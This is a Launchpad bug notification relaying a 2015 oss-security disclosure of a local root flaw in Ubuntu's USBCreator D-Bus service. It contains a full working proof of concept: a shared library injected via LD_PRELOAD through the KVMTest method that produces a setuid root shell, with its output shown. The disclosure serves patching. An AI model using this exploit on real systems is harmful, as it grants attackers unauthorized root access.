*** This bug is a security vulnerability *** Public security bug reported:
Reported on oss-security: http://www.openwall.com/lists/oss- security/2015/04/22/12 Text from Tavis follows: Hello, [as-per previous discussion on the vendors list, skipping closed discussion of low-severity issue] On my Ubuntu VM, I have a D-Bus service listening on com.ubuntu.USBCreator. As far as I can tell, this is installed by default. It looks like the author intended for all the methods to call check_polkit, but KVMTest doesn't. This seems like an obvious mistake, and the following appears to work on my machine: $ cat > test.c void __attribute__((constructor)) init (void) { chown("/tmp/test", 0, 0); chmod("/tmp/test", 04755); } ^D $ gcc -shared -fPIC -o /tmp/test.so test.c $ cp /bin/sh /tmp/test $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/dev/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so" method return sender=:1.4364 -> dest=:1.7427 reply_serial=2 $ ls -l /tmp/test -rwsr-xr-x 1 root root 121272 Apr 22 16:43 /tmp/test $ /tmp/test # id euid=0(root) groups=0(root) Thanks, Tavis. ** Affects: usb-creator (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1447396 Title: Tavis Ormandy discovered a local root vulnerability with the com.ubuntu.USBCreator dbus service To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/usb-creator/+bug/1447396/+subscriptions -- ubuntu-bugs mailing list [email protected] https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
